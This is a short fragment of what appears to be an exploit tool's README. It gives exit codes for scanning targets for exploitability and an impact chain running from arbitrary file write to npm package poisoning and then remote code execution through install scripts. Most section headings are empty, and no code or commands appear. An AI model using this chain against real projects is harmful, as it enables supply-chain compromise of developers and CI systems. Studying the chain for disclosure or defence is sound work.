============================================================

Exit code 0 on success, 1 on failure. In batch mode (--list), scans multiple targets concurrently and returns 0 if any target is exploitable.

#Exploitation notes

#Preconditions

#Reliability and constraints

#Impact chain

  1. Arbitrary file write - Write attacker-controlled bytes to any absolute filesystem path (Rung 1-2)
  2. Cross-project package poisoning - Replace legitimate npm packages with malicious ones in projects the attacker cannot directly access (Rung 3, CVSS S:C scope change)
  3. Remote code execution - Packages with preinstall or postinstall scripts execute on any machine that installs the package, including CI runners and developer workstations (Rung 4)

#Chaining and escalation

#References